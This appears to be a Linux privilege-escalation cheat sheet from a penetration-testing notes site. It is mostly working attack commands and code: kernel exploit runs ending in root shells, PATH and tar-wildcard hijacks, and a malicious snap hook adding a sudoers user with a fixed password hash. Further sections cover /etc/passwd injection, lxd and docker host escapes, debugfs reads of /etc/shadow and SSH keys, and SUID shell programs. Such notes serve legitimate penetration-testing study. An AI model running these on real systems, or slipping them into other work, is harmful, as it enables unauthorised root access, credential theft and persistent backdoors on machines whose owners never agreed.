Linux Privesc

Privilege Escalation usually involves going from a lower permission to a higher permission.

Enumeration Scripts:

There are some scripts that could help us in order to escalate privilege on Linux systems. These are two examples:

Kernel Vulnerabilities

We can exploit some kernel vulnerabilities in order to privesc. linux-exploit-suggester.sh is an amazing script that do this work.

LogoGitHub - The-Z-Labs/linux-exploit-suggester: Linux privilege escalation auditing toolGitHub
./linux-exploit-suggester.sh

Compiling Exploits

Sometimes we need to compile our exploits in order to get the binary or executable.

For 64-bits:

gcc exploit.c -o exploit

For 32-bits:

gcc -m32 exploit.c -o exploit

#i686 and older devices
gcc -march=i686 -m32 -Wl,--hash-style=both exploit.c -o exploit

Finally we just need to give execution permissions.

chmod u+x executablename
./executablename

eBPF_verifier - Linux Kernel < 4.13.9

$ gcc cve-2017-16995.c -o cve-2017-16995
$ chmod +x cve-2017-16995

$ ./cve-2017-16995
[.]
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.]
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.]
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88002dc42800
[*] Leaking sock struct from ffff88003d00d400
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff8800354a0600
[*] UID from cred structure: 33, matches the current: 33
[*] hammering cred structure at ffff8800354a0600
[*] credentials patched, launching shell...

# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
LogoLinux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege EscalationExploit Database

DirtyC0w - Linux Kernel 2.6.22 < 3.9

gcc -pthread dirty.c -o dirty -lcrypt

Transfer the exploit to the target machine.

chmod +x dirty
./dirty
Logodirtycow/dirty.c at master · firefart/dirtycowGitHub

Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)

$ gcc mempodipper.c -o mempodipper
$ chmod +x mempodipper

$ ./mempodipper
===============================
=          Mempodipper        =
=           by zx2c4          =
=         Jan 21, 2012        =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1977/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049520.
[+] Calculating su padding.
[+] Seeking to offset 0x8049514.
[+] Executing su with shellcode.
# whoami
root
#
LogoLinux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)Exploit Database

Abusing SUID/GUID Files

Check for files with the SUID/GUID bit set. This means that the file or files can be run with permissions of the file(s) owner/group. In case of super-user, we can leverage this to get a shell with these privileges.

But when a special permission is given to each user it becomes SUID or SGID. When a extra bit "4" is set to user (Owner) it becomes SUID (Set user ID) and wen bit "2" is set to group it becomes SGID (Set Group ID).

SUID: rws-rwx-rws GUID: rwx-rws-rwx

Permission

On Files

On Directories

SUID Bit

User executes the file with permissions of the file owner.

-

SGID Bit

User executes the file with the permission of the group owner.

File created in directory gets the same group owner.

Sticky Bit

-

Users are prevented from deleting files from others users.

SUID, SGID and Sticky Bit

Finding SUID / GUID Binaries:

find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

Exploiting PATH Variable

PATH is an environmental variable in Linux and Unix-like operating systems which specifies directories that hold executable programs. When the user runs any command in the terminal, it searches for executable files with the help of the PATH Variable in response to commands executed by a user.

How does this let us escalate privileges?

Let's say we need an SUID binary. Running it, we can see that it’s calling the system shell to do a basic process like list processes with "ps". We can rewrite the PATH variable to a location of our choice. So when the SUID binary calls the system shell to run an executable, it runs one that we have written instead. So we need to change the PATH variable:

export PATH=/tmp
echo $PATH

And create a file with execution permissions with the same binary name:

echo "/bin/bash" > /tmp/ps
/bin/chmod +x /tmp/ps

Finally when the SUID files calls ps function, instead of showing system processes will execute our command.

Remember: To exploit PATH variable we need a SUID File to gain privileges otherwise it will be executed as normal user.

Writeable Folders

We can elevate our privileges some times when we have write permissions in some specific directories.

Note: With write permissions on the folder we can create/delete/move files but not modify them.

On PATH variable

When we can write on folders such as /usr/local/bin /usr/bin or some others that are included on the PATH variable we can escalate our privileges by modifying or creating a new binary that will be executed as root.

SSH port open

When we ssh a machine root executes run-parts binary so we add a malicious binary on the path. Look Executing files with root to see which binary we can fit our needs.

Abusing Wildcards (*)

Tar Argument Injection in root cronjob

Imagine you compromise a low-level user on a system and you figure out this command is running as root:

cd /var/log/mon && tar -zcf /tmp/mon.tar.gz *

We want to go with sudoers file as we are lazy and just sudo bash, so let's see....

echo 'echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
echo "" > "--checkpoint-action=exec=sh privesc.sh"
echo "" > --checkpoint=1

Writeable /etc/passwd

The /etc/passwd file stores essential information, which is required during login. In other words, it stores user account information.

if we have a writable /etc/passwd file, we can write a new line entry allowing us to log in as our own root user. But first, we need to create a compliant password hash.

openssl passwd -1 -salt [username] [password]
openssl passwd [password]

Finally append the following string to /etc/passwd file:

[USERNAME]:[HASH]:0:0:root:/root:/bin/bash

And finally su to this new user to obtain a root shell:

su [USERNAME]

GTFOBins

GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.

Firstly, we need to check the sudo permissions on binaries:

sudo -l

After that search on GTOBins web to search how to escape from that binary and obtain a shell:

User user may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/someBinary

Remember: Do not forget to run the command as sudo!

SETENV permission

This mean that we can set some environment variables to run the command.

User user may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/some.py

Search for a library, create a copy in /tmp and execute commands.

some.py

import sys
sys.exit(10)

We can create a sys.py file on /tmp.

import os
def exit(a):
        os.system("cp /bin/bash /tmp/rev")
        os.system("chmod u+s /tmp/rev")

Finally open the backdoor.

/tmp/rev -p
rev-4.4# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)

Snap install

User user may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

When we find the following, we can install any malicious packet, so we will add our malicious personal crafted snap packet.

LogoCraft a snapSnapcraft
Create your first snap, useful to install the requeriments
Privilege Escalation in Ubuntu Linux (dirty_sock exploit)Shenanigans Labs
Example used in dirty_sock exploit
mkdir privesnap
cd privesnap
snapcraft init

touch snap/hooks/install

We need to create a malicious snap/hooks/install file, and modify snap/snapcraft.yaml

#!/bin/bash

# dirty_sock:dirty_sock
useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

Linux Capabilities

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.

getcap -r / 2>/dev/null

Check the following link to see what means each capability:

capabilities(7) - Linux manual pageman7.org

Note: ep capability means that can read and write any file on the filesystem.

More info in:

LogoLinux capabilities 101Linux Audit

Exploiting Crontab

The Cron daemon is a long-running process that executes commands at specific dates and times. You can use this to schedule activities, either as on-time events or as recurring tasks.

To view what cronjobs are active we need to cat the /etc/crontab file:

cat /etc/crontab

If we find a script that is scheduled to run as user root and we can write to this file, we can modify it to get a reverse shell when the cronjob run the task.

Abusing privileges (Group memberships)

sudo

Thats it, you're already root:

sudo su -

lxd

A member of the local “lxd” group can instantly escalate the privileges to root on the host operating system. This is irrespective of whether that user has been granted sudo rights and does not require them to enter their password. The vulnerability exists even with the LXD snap package.

With Internet

lxc init ubuntu:16:04 myimage -c security.privileged=true
lxc config device add myimage whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash

Without Internet

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.

# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686

Also you can download directly the image from ubuntu:

wget http://cloud-images.ubuntu.com/xenial/current/xenial-server-cloudimg-amd64-root.tar.xz
wget http://cloud-images.ubuntu.com/xenial/current/xenial-server-cloudimg-amd64-lxd.tar.xz
And exploit it:
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
lxc image import xenial-server-cloudimg-amd64-*.tar.xz --alias myimage # Or this depending if you downloaded

# before running the image, start and configure the lxd storage pool as default 
lxd init

# run the image
lxc init myimage mycontainer -c security.privileged=true

# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true

# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

adm

All members of the group admin have access to logs files:

/var/log/

disk

All members of the gorup disk have full access to the filesystem.

df -h #search disk

debugfs /dev/sda1
debugfs: cd /root
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow

We can also write files on the filesystem.

debugfs -w /dev/sda1
debugfs: dump file1.txt file2.txt  #Copy file1.txt to file2.txt

Hint: Files owned by root are now writable such as /etc/passwd or /etc/shadow.

video

The video group has access to view the screen output of all opened sessions (tty). With w command we can see the who is logged on the server:

moshe@falafel:/var/log$ w
 17:35:42 up  3:40,  3 users,  load average: 0.22, 0.09, 0.08
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
yossi    tty1                      13:55    3:40m  0.05s  0.04s -bash
moshe    pts/0    10.10.14.20      17:18    0.00s  0.08s  0.00s w
moshe    pts/1    10.10.14.20      17:18   15:17   0.03s  0.03s bash

So we need to grab the video output and graphics configuration.

moshe@falafel:/var/log$ cat /dev/fb0 > /tmp/screen.raw
moshe@falafel:/var/log$ cat /sys/class/graphics/fb0/virtual_size
1176,885

Finally we can open the data with GIMP.

docker

Since we are member of docker group, we can mount the root filesystem of the host machine to an instance's volume.

$ docker image ls
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              775349758637        22 months ago       64.2MB
alpine              latest              965ea09ff2eb        22 months ago       5.55MB
centos              latest              0f3e07c0138f        23 months ago       220MB

$ docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash

# Edit /etc/passwd to get root access to the host

We can also mount the filesystem and the network access.

$ docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash

Docker Breakout

Privileged Flag enabled

When we start a docker with the privileged flag --privileged , we give the sufficient permission to mount the host filesystem inside the docker.

When the root user is owned, we will search the host drive:

fdisk -l

After finding the Linux sda we will mount it:

mkdir -p /mnt/host_drive
mount /dev/sda1 /mnt/host_drive

Finally, just cd to out new mount point to find all host files.

Docker.sock available

By default, when the docker command is executed on a host, an API call to the docker daemon is made via a non-networked UNIX socket located at /var/run/docker.sock. However, many containers and guides require you to expose this socket file as a volume within a container or in some cases, expose it on a TCP port. Docker containers that expose /var/run/docker.sock, locally or remotely, could lead to a full environment take over.

Check if socket is available

ls -alh /var/run/docker.sock

List all containers

curl -ik --unix-socket /var/run/docker.sock http://<docker_host>:PORT/containers/json

Create an exec

curl -ik -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://<docker_host>:PORT/containers/<container_id>/exec

Start the exec

curl -ik -X POST --unix-socket /var/run/docker.sock -H "Content-Type: application/json" --data-binary '{"Detach": false,"Tty": true} http://<docker_host>:PORT/exec/<exec_id>/start'

USBCreator D-Bus

A vulnerability in the USBCreator D-Bus interface allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root – without supplying a password.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /id_rsa true

Executing files with root

Adding a new SUDOER user (Bash)

We can create a new user and add it to the sudoers file:

#!/bin/bash

useradd dirty_sock -m -p '$6$sWZcW1t25pfUdBuX$jWjEZQF2zFSfyGy9LbvG3vFzzHRjXfBYK0SOGfMD1sLyaS97AwnJUs7gDCY.fg19Ns3JwRdDhOcEmDpBVlF9m.' -s /bin/bash
usermod -aG sudo dirty_sock
echo "dirty_sock    ALL=(ALL:ALL) ALL" >> /etc/sudoers

Creating a SUID shell (bash)

We can copy the bash file to temp and give it SUID permissions.

cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

/tmp/bash -p

Creating a SUID file (c)

#include <unistd.h>
int main()
{
    setreuid(0,0);
    execl("/bin/bash", "bash", (char *)NULL);
    return 0;
}

Creating a SUID shell (C)

We can write the following C code in order to obtain a bash shell:

#include <stdio.h>
#include <unistd.h>

int main (void) {
    char *argv[] = { "/bin/bash", "-p", NULL };
    execve(argv[0], argv, NULL);
}

We just need to compile and give SUID permissions from root in our attacking machine.

gcc -m32 shell.c -o shell
root@kali $ chmod +s shell

Finally we need to transfer the file with the command execution.

/tmp/shell -p

Capabilities

Capabilities are those permissions that divide the privileges of kernel user or kernel level programs into small pieces so that a process can be allowed sufficient power to perform specific privileged tasks.

Search files with capabilities:

getcap -r / 2>/dev/null

Python Capability

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

References:

PreviousOAuth 2.0 BypassNextWindows Privesc

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